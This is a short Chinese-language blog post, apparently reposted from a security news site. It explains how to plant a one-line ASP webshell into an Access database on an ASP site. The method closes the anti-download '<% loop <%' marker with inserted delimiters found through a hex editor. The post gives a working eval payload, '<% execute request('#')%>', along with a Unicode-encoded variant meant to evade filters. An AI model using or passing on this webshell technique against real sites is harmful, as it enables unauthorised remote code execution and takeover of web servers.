很久之前便有利用Asp+Access网站数据库采用asp后缀直接插入一句话***的介绍了。这里简单总结一下。
为了防范数据库被下载,网站Access数据库中常出现nodown等字段。
其中内容为3C25206C6F6F70203C25,也就是ASP语句中的<% loop <%。由此,如果让我们插入的脚本正常执行,首先一个前提就是闭合<% loop<%。
而为了闭合<% loop <%,便要在数据库中寻找合适的位置插入<%’和:%>来构造出<%’<% loop <% :%>的结构,由此将loop的放下载过滤掉。
但是多次测试发现,插入数据库时经常不能在固定的插入位置把loop防下载过滤掉,只能通过winhex等16进制编辑器来确定<% loop <%所在的位置,并查找出<% loop <%前后的数据内容,按照顺序来进行”<%’”和”:%>”的插入。
这样就是asp插马的一般思路了 。那么要插入一句话***,需要的一个简单的工具如Lake2的ANSI2UNICODE实现Ansi编码转换为Unicode编码。比如可以这样构造<% execute request(“#”)%>a<%’x
经过工具转换后为┼攠數畣整爠煥敵瑳∨∣┩愾┼砧,这样在后台插入即可而不必担心过滤。
但是注意,单纯的ASP网页写入这些内容是无法解析的。但此Unicode编码被插入数据库时却是没有问题的,而从16进制的角度看,插入ANSI与Unicode是相同的。故成功插入后可以正常解析。

转载请注明出处:Sec安全资讯.本文链接:http://5ec.info/archives/150